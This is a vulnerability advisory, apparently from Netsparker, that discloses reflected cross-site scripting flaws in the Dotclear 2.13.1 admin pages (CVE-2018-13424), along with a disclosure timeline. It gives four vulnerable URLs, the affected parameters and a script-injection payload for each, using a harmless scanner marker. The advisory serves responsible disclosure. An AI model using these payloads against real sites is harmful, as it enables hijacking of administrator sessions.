Advisory by Netsparker
Name: Multiple XSS in Dotclear 2.13.1
Affected Software: Dotclear
Affected Versions: 2.13.1
Vulnerability: Multiple Reflected XSS
Severity: High
Status: Fixed
CVE-ID: CVE-2018-13424
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-006

Technical Details

URL :/admin/blogs.php?q=&nb=30&status=1&sortby=blog_upddt&order=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x007BE4)%3C/scRipt%3E
Parameter Name : order
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>netsparker(0x007BE4)</scRipt>

URL : /admin/popup_posts.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x006B38)%3C/scRipt%3E
Parameter Name : Query Based
Parameter Type : Query String
Attack Patern : '"--></style></scRipt><scRipt>netsparker(0x006B38)</scRipt>

URL : /admin/blogs.php?status=&sortby=blog_upddt&order=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x010259)%3C/scRipt%3E&page=1&nb=30&blogs%5B0%5D=default
Parameter Name : order
Parameter Type :GET
Attack Patern : '"--></style></scRipt><scRipt>netsparker(0x010259)</scRipt>

URL : /admin/popup_posts.php?q=&plugin_id=&type=&page=2&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x0072FD)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack patern : '"--></style></scRipt><scRipt>netsparker(0x0072FD)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

28 March 2018- First Contact
13th August 2018 - Vendor Fixed
29th August 2018 - Advisory Released

Credits & Authors

These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner.

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